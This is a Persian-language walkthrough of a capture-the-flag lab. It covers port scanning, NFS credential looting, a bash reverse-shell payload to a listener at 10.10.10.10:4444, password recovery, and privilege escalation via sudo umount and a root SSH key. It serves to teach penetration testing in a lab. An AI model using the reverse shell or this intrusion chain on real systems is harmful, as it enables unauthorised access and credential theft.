برای ورود به روم اینجا را کلیک کنید.
دسته بندی روم: web, NFS, Security
توجه: شل پایدار توصیه میشه و تا جای امکان با ssh به اکانتها وصل شید.
برای شروع نیاز دارید تا با openvpn شخصی خود در بخش access به شبکه وصل شید و یا از Attack Box استفاده کنید. ( کاربران عادی فقط میتونن ۱ ساعت از Attack Box در روز استفاده کنن) بعد از وصل شدن به شبکه، ماشین رو استارت کنید و صبر کنید تا آیپی ماشین رو به شما بده. (گاهی برای اجرا شدن بعضی سرویس ها ۳ تا ۵ دقیقه بعد از نمایش دادن آیپی ماشین طول میکشه)
اولین قدم برای شروع، اسکن پورتهای باز ماشین هستش. در اینجا من از nmap استفاده کردم:
└─>$ nmap 10.10.150.240 -sC -sV --min-rate=1000 -p-
Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-15 16:18 +0430
Nmap scan report for 10.10.33.240
Host is up (0.31s latency).
Not shown: 65527 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 e5:44:62:91:90:08:99:5d:e8:55:4f:69:ca:02:1c:10 (RSA)
| 256 e5:a7:b0:14:52:e1:c9:4e:0d:b8:1a:db:c5:d6:7e:f0 (ECDSA)
|_ 256 02:97:18:d6:cd:32:58:17:50:43:dd:d2:2f:ba:15:53 (ED25519)
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100003 3 2049/udp nfs
| 100003 3 2049/udp6 nfs
| 100003 3,4 2049/tcp nfs
| 100003 3,4 2049/tcp6 nfs
| 100005 1,2,3 44103/tcp6 mountd
| 100005 1,2,3 45021/udp6 mountd
| 100005 1,2,3 54619/udp mountd
| 100005 1,2,3 56529/tcp mountd
| 100021 1,3,4 34813/udp6 nlockmgr
| 100021 1,3,4 35275/tcp6 nlockmgr
| 100021 1,3,4 40505/tcp nlockmgr
| 100021 1,3,4 59298/udp nlockmgr
| 100227 3 2049/tcp nfs_acl
| 100227 3 2049/tcp6 nfs_acl
| 100227 3 2049/udp nfs_acl
|_ 100227 3 2049/udp6 nfs_acl
2049/tcp open nfs_acl 3 (RPC #100227)
8080/tcp open http Werkzeug httpd 0.14.1 (Python 3.6.9)
|_http-server-header: Werkzeug/0.14.1 Python/3.6.9
|_http-title: CCHQ
40505/tcp open nlockmgr 1-4 (RPC #100021)
52517/tcp open mountd 1-3 (RPC #100005)
55613/tcp open mountd 1-3 (RPC #100005)
56529/tcp open mountd 1-3 (RPC #100005)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
قدم بعدی گشتن به دنبال دایرکتوریهای سایت در پورت ۸۰۸۰ هستش و در اینجا من از gobuster استفاده کردم:
root@Kali:~# gobuster dir -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-large-directories.txt -u http://10.10.33.240:8080/
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.150.214:8080/
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-large-directories.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2021/04/15 13:15:05 Starting gobuster
===============================================================
/login (Status: 200)
/cat (Status: 302)
===============================================================
2021/04/15 13:15:51 Finished
===============================================================
همونطور که میبینید برای دایرکتوری cat/ به ما 302 برمیگردونه و به سمت login/ ریدایرکت میشه.
اما اطلاعات ورود به سایت رو نداریم، پس بریم سراغ پورتهای باز دیگر.
شاید بتونیم NFS رو mount کنیم و اطلاعات داخلش رو ببینیم!
~ showmount -e 10.10.150.214
Export list for 10.10.150.214:
/var/nfs/general *
~ sudo mount -t nfs 10.10.150.214:/var/nfs/general/ Desktop/cactoos
~ ls Desktop/cactoos
credentials.bak
~ cat Desktop/cactoos/credentials.bak
paradoxial.test
ShibaPretzel79
حالا یوزرنیم و پسوردی که به دست آوردیم رو برای ورود به سایت استفاده میکنیم.
بعد از ورود به سایت فیلد ورودی رو میبینید که طبق نوشتهها، برای تست اکسپلویتها هستش و هر چیزی که ورودی بدید به شما برمیگردونه.
یکی از سخت ترین قسمتهای این روم پیدا کردن پیلود مناسبی برای گرفتن reverse shell با قسمت ورودی بود که تنها راهش حدس و آزمایش و امتحان کردن پیلودهای مختلف برای فهمیدن اتفاقات و کد سمت سرور بود.در نهایت پیلود مورد استفاده من:
bash -c 'bash -i >& /dev/tcp/10.10.10.10/4444 0>&1'
و در سیستم خودم که برای مثال در اینجا آیپی 10.10.10.10رو داره، منتظر اتصال در پورت 4444 شدم.
nc -nvlp 4444
حالا دسترسی کاربر paradox رو داریم و میتونیم اولین فلگ رو ببینیم و در سایت ثبت کنیم.
paradox@cchq:~$ cat user.txt
cat user.txt
THM{REDACTED}
با توجه به سوالات روم، معلومه که قدمهای بعدی، ارتقای دسترسی به کاربران دیگر هستش. با کاربر Szymex شروع میکنیم.
paradox@cchq:~$ ls -la /home
ls -la /home
total 24
drwxr-xr-x 6 root root 4096 Jan 2 10:24 .
drwxr-xr-x 24 root root 4096 Feb 20 21:04 ..
drwxr-xr-x 5 paradox paradox 4096 Feb 22 18:48 paradox
drwxr-xr-x 5 szymex szymex 4096 Feb 22 18:45 szymex
drwxr-xr-x 9 tux tux 4096 Feb 20 22:02 tux
drwxr-xr-x 7 varg varg 4096 Feb 20 22:06 varg
paradox@cchq:~$ ls -la /home/szymex
ls -la /home/szymex
total 44
drwxr-xr-x 5 szymex szymex 4096 Feb 22 18:45 .
drwxr-xr-x 6 root root 4096 Jan 2 10:24 ..
lrwxrwxrwx 1 szymex szymex 9 Feb 20 17:13 .bash_history -> /dev/null
-rw-r--r-- 1 szymex szymex 220 Jan 2 09:13 .bash_logout
-rw-r--r-- 1 szymex szymex 3865 Feb 20 21:27 .bashrc
drwx------ 2 szymex szymex 4096 Jan 2 09:27 .cache
drwx------ 3 szymex szymex 4096 Jan 2 21:44 .gnupg
drwxrwxr-x 3 szymex szymex 4096 Jan 2 10:59 .local
-r-------- 1 szymex szymex 11 Jan 2 14:18 mysupersecretpassword.cat
-rw-rw-r-- 1 szymex szymex 316 Feb 20 20:31 note_to_para
-rwxrwxr-- 1 szymex szymex 735 Feb 20 20:30 SniffingCat.py
-rw------- 1 szymex szymex 38 Feb 22 18:45 user.txt
paradox@cchq:~$ cat /home/szymex/note_to_para
cat /home/szymex/note_to_para
Paradox,
I'm testing my new Dr. Pepper Tracker script.
It detects the location of shipments in real time and sends the coordinates to your account.
If you find this annoying you need to change my super secret password file to disable the tracker.
You know me, so you know how to get access to the file.
- Szymex
بعد از گرفتن شل احتمالا پیامهای متعددی راجب به مختصات کشتی رو دریافت میکنید و با توجه به پیغامی که Szymex گذاشته، در حال کار کردن بر روی برنامه ای هست که مختصات کشتی ها رو براتون ارسال میکنه و برای خاموش کردنش نیاز دارید تا رمز فوق سری او رو عوض کنید و از اونجایی که قابلیت خواندن اسکریپت رو داریم، شاید مشکلی در آن پیدا کنیم!
paradox@cchq:~$ cat /home/szymex/SniffingCat.py
cat /home/szymex/SniffingCat.py
#!/usr/bin/python3
import os
import random
def encode(pwd):
enc = ''
for i in pwd:
if ord(i) > 110:
num = (13 - (122 - ord(i))) + 96
enc += chr(num)
else:
enc += chr(ord(i) + 13)
return enc
x = random.randint(300,700)
y = random.randint(0,255)
z = random.randint(0,1000)
message = "Approximate location of an upcoming Dr.Pepper shipment found:"
coords = "Coordinates: X: {x}, Y: {y}, Z: {z}".format(x=x, y=y, z=z)
with open('/home/szymex/mysupersecretpassword.cat', 'r') as f:
line = f.readline().rstrip("\n")
enc_pw = encode(line)
if enc_pw == "pureelpbxr":
os.system("wall -g paradox " + message)
os.system("wall -g paradox " + coords)
اسکریپت، فایل پسورد فوق سری szymex رو برمیداره و به تابعی میده تا اون رو encode کنه و سپس اون رو با “pureelpbxr” مقایسه میکنه. پس ما با درک عملکرد تابع و داشتن کلمه encode شده، شاید بتونیم برعکسش رو پیاده سازی کنیم. با این حال با مطالعه تابع encode، متوجه میشیم که الگوریتم ROT13 رو پیاده سازی میکنه و میتونیم از سایتهای آنلاین برای decode کلمه داده شده استفاده کنیم.
حالا به ماشین با کاربر szymex وصل میشیم و فلگ بعدی رو میتونیم ببینیم و ثبت کنیم.
ssh szymex@10.10.150.214
szymex@10.10.150.214's password:
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-135-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Thu Apr 15 12:37:56 UTC 2021
System load: 0.0 Processes: 107
Usage of /: 35.0% of 18.57GB Users logged in: 0
Memory usage: 29% IP address for eth0: 10.10.150.214
Swap usage: 0%
0 packages can be updated.
0 of these updates are security updates.
Last login: Mon Feb 22 18:45:01 2021 from 172.16.228.1
szymex@cchq:~$cat user.txt
THM{REDACTED}
نوبت کاربر بعدی با اسم “Tux” هست.
szymex@cchq:~$ ls -la /home/tux/
total 52
drwxr-xr-x 9 tux tux 4096 Feb 20 22:02 .
drwxr-xr-x 6 root root 4096 Jan 2 10:24 ..
lrwxrwxrwx 1 tux tux 9 Feb 20 17:14 .bash_history -> /dev/null
-rw-r--r-- 1 tux tux 220 Apr 4 2018 .bash_logout
-rw-r--r-- 1 tux tux 3772 Feb 20 21:28 .bashrc
drwx------ 3 tux tux 4096 Nov 21 15:27 .cache
drwx------ 4 tux tux 4096 Feb 20 08:54 .config
drwx------ 5 tux tux 4096 Feb 20 20:03 .gnupg
-rw------- 1 tux tux 58 Feb 20 22:01 .lesshst
drwx------ 5 tux tux 4096 Jan 2 19:58 .local
-rw-rw-r-- 1 tux tux 630 Jan 2 19:05 note_to_every_cooctus
drwx------ 2 tux tux 4096 Feb 20 21:48 .ssh
-rw-r--r-- 1 tux tux 0 Feb 20 22:02 .sudo_as_admin_successful
drwxrwx--- 2 tux testers 4096 Feb 20 16:28 tuxling_1
drwxrwx--- 2 tux testers 4096 Feb 20 16:28 tuxling_3
-rw------- 1 tux tux 38 Feb 20 21:05 user.txt
szymex@cchq:~$ cat /home/tux/note_to_every_cooctus
Hello fellow Cooctus Clan members
I'm proposing my idea to dedicate a portion of the cooctus fund for the construction of a penguin army.
The 1st Tuxling Infantry will provide young and brave penguins with opportunities to
explore the world while making sure our control over every continent spreads accordingly.
Potential candidates will be chosen from a select few who successfully complete all 3 Tuxling Trials.
Work on the challenges is already underway thanks to the trio of my top-most explorers.
Required budget: 2,348,123 Doge coins and 47 pennies.
Hope this message finds all of you well and spiky.
- TuxTheXplorer
با توجه به پیغام، پس باید ۳ چالش رو حل کنیم که ۲ تا از اونا داخل دایرکتوری کاربر tux هست.
اولین چالش:
szymex@cchq:~$ cd /home/tux/tuxling_1
szymex@cchq:/home/tux/tuxling_1$ ls
nootcode.c note
szymex@cchq:/home/tux/tuxling_1$ cat note
Noot noot! You found me.
I'm Mr. Skipper and this is my challenge for you.
General Tux has bestowed the first fragment of his secret key to me.
If you crack my NootCode you get a point on the Tuxling leaderboards and you'll find my key fragment.
Good luck and keep on nooting!
PS: You can compile the source code with gcc
szymex@cchq:/home/tux/tuxling_1$
کدی به زبان C در دایرکتوری چالش اول قرار داره که با دیدن سورس اون متوجه میشیم برای هر کلمه، کلمه ی دیگری تعریف شده. در اینجا میتونیم تابعی که کلید رو چاپ میکنه رو پیدا کنیم و صدا بزنیم و بعد کامپایل و اجرا کنیم یا کلمات رو جایگزین کنیم تا سورس اصلی فایل رو ببینیم.
سورس اصلی:
#include <stdio.h>
int main (){
printf( "What does the penguin say?\n");
nuut();
return 0;
}
void key(){
printf("f96" "050a" "d61");
}
void nuut(){
printf("NOOT!\n");
}
پس قسمت اول کلید “f96050ad61” هست و باید چالش ۲ رو پیدا کنیم.
szymex@cchq:/home/tux$ find / -type d -name tuxling_2 2>/dev/null
/media/tuxling_2
szymex@cchq:~$ cd /media/tuxling_2/
szymex@cchq:/media/tuxling_2$ ls
fragment.asc note private.key
szymex@cchq:/media/tuxling_2$ cat note
Noot noot! You found me.
I'm Rico and this is my challenge for you.
General Tux handed me a fragment of his secret key for safekeeping.
I've encrypted it with Penguin Grade Protection (PGP).
You can have the key fragment if you can decrypt it.
Good luck and keep on nooting!
در این چالش باید با کلید پرایوت داده شده فایل رمزنگاری شده رو رمزگشایی کنیم.
szymex@cchq:/media/tuxling_2$ gpg --import private.key
gpg: key B70EB31F8EF3187C: public key "TuxPingu" imported
gpg: key B70EB31F8EF3187C: secret key imported
gpg: Total number processed: 1
gpg: imported: 1
gpg: secret keys read: 1
gpg: secret keys imported: 1
szymex@cchq:/media/tuxling_2$ gpg --decrypt fragment.asc
gpg: encrypted with 3072-bit RSA key, ID 97D48EB17511A6FA, created 2021-02-20
"TuxPingu"
The second key fragment is: 6eaf62818d
قسمت دوم کلید: “6eaf62818d”
چالش آخر:
szymex@cchq:~$ cd /home/tux/tuxling_3/
szymex@cchq:/home/tux/tuxling_3$ ls
note
szymex@cchq:/home/tux/tuxling_3$ cat note
Hi! Kowalski here.
I was practicing my act of disappearance so good job finding me.
Here take this,
The last fragment is: 637b56db1552
Combine them all and visit the station.
قسمت آخر کلید: “637b56db1552”
در پیغام گفته شده تا کلیدها رو با هم ترکیب کنیم و از کلمه ی station استفاده کرده که احتمالا منظورش استفاده از سایت crackstation برای کرک هش باشه.
حالا با کاربر tux به ماشین وصل میشیم و فلگ بعدی رو میتونیم ببینیم.
tux@cchq:~$ cat user.txt
THM{REDACTED}
کاربر بعدی varg هست.
tux@cchq:~$ cd /home/varg/
tux@cchq:/home/varg$ ls
CooctOS.py cooctOS_src user.txt
tux@cchq:/home/varg$ cd cooctOS_src/
tux@cchq:/home/varg/cooctOS_src$ ls -la
total 44
drwxrwx--- 11 varg os_tester 4096 Feb 20 15:44 .
drwxr-xr-x 7 varg varg 4096 Feb 20 22:06 ..
drwxrwx--- 2 varg os_tester 4096 Feb 20 15:46 bin
drwxrwx--- 4 varg os_tester 4096 Feb 20 15:22 boot
drwxrwx--- 2 varg os_tester 4096 Feb 20 15:10 etc
drwxrwx--- 2 varg os_tester 4096 Feb 20 15:41 games
drwxrwxr-x 8 varg os_tester 4096 Feb 20 15:47 .git
drwxrwx--- 3 varg os_tester 4096 Feb 20 14:44 lib
drwxrwx--- 16 varg os_tester 4096 Feb 20 15:21 run
drwxrwx--- 2 varg os_tester 4096 Feb 20 09:11 tmp
drwxrwx--- 11 varg os_tester 4096 Feb 20 15:20 var
tux@cchq:/home/varg/cooctOS_src$ ls games/
adventure adventure.c note
در دایرکتوری games یک بازی و یک پیغام وجود داره که انگار میخواهند این بازی رو به سیستم عامل خودشون اضافه کنن.
دایرکتوری مخفی git هم میتونه جالب باشه!
tux@cchq:/home/varg/cooctOS_src$ cd .git/
tux@cchq:/home/varg/cooctOS_src/.git$ ls
branches COMMIT_EDITMSG config description HEAD hooks index info logs objects refs
با کمی گشت و گذار در لاگ ها میتونیم اطلاعات بیشتری پیدا کنیم.
tux@cchq:/home/varg/cooctOS_src/.git$ cat logs/HEAD
0000000000000000000000000000000000000000
6919df5c171460507f69769bc20e19bd0838b74d Vargles <varg@cchq.noot> 1613835988 +0000 commit (initial): Created git repo for CooctOS
6919df5c171460507f69769bc20e19bd0838b74d 8b8daa41120535c569d0b99c6859a1699227d086 Vargles <varg@cchq.noot> 1613836041 +0000 commit: Removed CooctOS login script for now
حالا با این اطلاعات شاید بفهمیم چه چیزی commit شده؟
tux@cchq:/home/varg/cooctOS_src/.git$ git show 8b8daa41120535c569d0b99c6859a1699227d086
commit 8b8daa41120535c569d0b99c6859a1699227d086 (HEAD -> master)
Author: Vargles <varg@cchq.noot>
Date: Sat Feb 20 15:47:21 2021 +0000
Removed CooctOS login script for now
diff --git a/bin/CooctOS.py b/bin/CooctOS.py
deleted file mode 100755
index 4ccfcc1..0000000
--- a/bin/CooctOS.py
+++ /dev/null
@@ -1,52 +0,0 @@
-#!/usr/bin/python3
-
-import time
-import os;
-import pty;
-
-#print(chr(27)+ "[2J")
-logo = """\033[1;30;49m
- ██████╗ ██████╗ ██████╗ ██████╗████████╗ \033[1;37;49m██████╗ ███████╗\033[1;30;49m
-██╔════╝██╔═══██╗██╔═══██╗██╔════╝╚══██╔══╝\033[1;37;49m██╔═══██╗██╔════╝\033[1;30;49m
-██║ ██║ ██║██║ ██║██║ ██║ \033[1;37;49m██║ ██║███████╗\033[1;30;49m
-██║ ██║ ██║██║ ██║██║ ██║ \033[1;37;49m██║ ██║╚════██║\033[1;30;49m
-╚██████╗╚██████╔╝╚██████╔╝╚██████╗ ██║ \033[1;37;49m╚██████╔╝███████║\033[1;30;49m
- ╚═════╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚═╝ \033[1;37;49m╚═════╝ ╚══════╝\033[1;30;49m
-"""
-print(logo)
-print("LOADING")
-print("[", end='')
-
-for i in range(0,60):
:...skipping...
commit 8b8daa41120535c569d0b99c6859a1699227d086 (HEAD -> master)
Author: Vargles <varg@cchq.noot>
Date: Sat Feb 20 15:47:21 2021 +0000
Removed CooctOS login script for now
diff --git a/bin/CooctOS.py b/bin/CooctOS.py
deleted file mode 100755
index 4ccfcc1..0000000
--- a/bin/CooctOS.py
+++ /dev/null
@@ -1,52 +0,0 @@
-#!/usr/bin/python3
-
-import time
-import os;
-import pty;
-
-#print(chr(27)+ "[2J")
-logo = """\033[1;30;49m
- ██████╗ ██████╗ ██████╗ ██████╗████████╗ \033[1;37;49m██████╗ ███████╗\033[1;30;49m
-██╔════╝██╔═══██╗██╔═══██╗██╔════╝╚══██╔══╝\033[1;37;49m██╔═══██╗██╔════╝\033[1;30;49m
-██║ ██║ ██║██║ ██║██║ ██║ \033[1;37;49m██║ ██║███████╗\033[1;30;49m
-██║ ██║ ██║██║ ██║██║ ██║ \033[1;37;49m██║ ██║╚════██║\033[1;30;49m
-╚██████╗╚██████╔╝╚██████╔╝╚██████╗ ██║ \033[1;37;49m╚██████╔╝███████║\033[1;30;49m
- ╚═════╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚═╝ \033[1;37;49m╚═════╝ ╚══════╝\033[1;30;49m
-"""
-print(logo)
-print(" LOADING")
-print("[", end='')
-
-for i in range(0,60):
- #print(chr(27)+ "[2J")
- #print(logo)
- #print(" LOADING")
- print("[", end='')
- print("=" * i, end='')
- print("]")
- time.sleep(0.02)
- print("\033[A\033[A")
-
-print("\032")
-print("\033[0;0m[ \033[92m OK \033[0;0m] Cold boot detected. Flux Capacitor powered up")
-
-print("\033[0;0m[ \033[92m OK \033[0;0m] Mounted Cooctus Filesystem under /opt")
-
-print("\033[0;0m[ \033[92m OK \033[0;0m] Finished booting sequence")
-
-print("CooctOS 13.3.7 LTS cookie tty1")
-uname = input("\ncookie login: ")
-pw = input("Password: ")
-
-for i in range(0,2):
- if pw != "REDACTED":
- pw = input("Password: ")
- else:
- if uname == "varg":
- os.setuid(1002)
- os.setgid(1002)
- pty.spawn("/bin/rbash")
- break
- else:
- print("Login Failed")
- break
در آخر کد میتونیم نحوه احراز هویت و در آخر پسورد رو هم ببینیم.
با کاربر varg و پسوردی که پیدا کردیم به ماشین وصل میشیم و فلگ بعدی رو میتونیم ثبت کنیم.
su varg
Password:
varg@cchq:~$ ls
CooctOS.py cooctOS_src user.txt
varg@cchq:~$ cat user.txt
THM{REDACTED}
قدم بعدی دسترسی روت هست. شاید کاربر varg دسترسیهایی داشته باشه!
varg@cchq:~$ sudo -l
Matching Defaults entries for varg on cchq:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User varg may run the following commands on cchq:
(root) NOPASSWD: /bin/umount
خب کاربر varg میتونه bin/umount/ رو با دسترسی روت اجرا کنه.
حالا کجا رو unmount کنیم؟ فلش بک میزنیم به زمانی که دایرکتوری games رو پیدا کردیم و صحبت از سیستم عامل شخصی اونا بود. شاید بتونیم چیزی مربوط به اون رو پیدا و unmount کنیم.
بعد از مدت زمانی، متوجه فولدری در دایرکتوری opt/ شدم که احتمال دادم با unmount کردنش به چیزی برسم.
varg@cchq:~$ ls /opt/CooctFS/
bin boot etc games lib run tmp var
varg@cchq:~$ sudo /bin/umount /opt/CooctFS
varg@cchq:~$ cd /opt/CooctFS/
varg@cchq:/opt/CooctFS$ ls
root
varg@cchq:/opt/CooctFS$ ls root/
root.txt
varg@cchq:/opt/CooctFS$ cat root/root.txt
hmmm...
No flag here. You aren't root yet.
چیز خاصی پیدا نشد، ولی شاید فولدر مخفی وجود داشته باشه … (مثل ssh ?)
varg@cchq:/opt/CooctFS$ ls -la root/
total 28
drwxr-xr-x 5 root root 4096 Feb 20 09:16 .
drwxr-xr-x 3 root root 4096 Feb 20 09:09 ..
lrwxrwxrwx 1 root root 9 Feb 20 09:15 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3106 Feb 20 09:09 .bashrc
drwx------ 3 root root 4096 Feb 20 09:09 .cache
drwxr-xr-x 3 root root 4096 Feb 20 09:09 .local
-rw-r--r-- 1 root root 43 Feb 20 09:16 root.txt
drwxr-xr-x 2 root root 4096 Feb 20 09:41 .ssh
varg@cchq:/opt/CooctFS$ cd root/.ssh/
varg@cchq:/opt/CooctFS/root/.ssh$ ls
id_rsa id_rsa.pub
خب حالا id_rsa پرایوت ssh کاربر روت رو داریم و میتونیم باهاش به ماشین با کاربر روت ssh بزنیم.
root@cchq:~# ls
root.txt
root@cchq:~# cat roo*
THM{REDACTED}
و اینم از فلگ آخر 🙂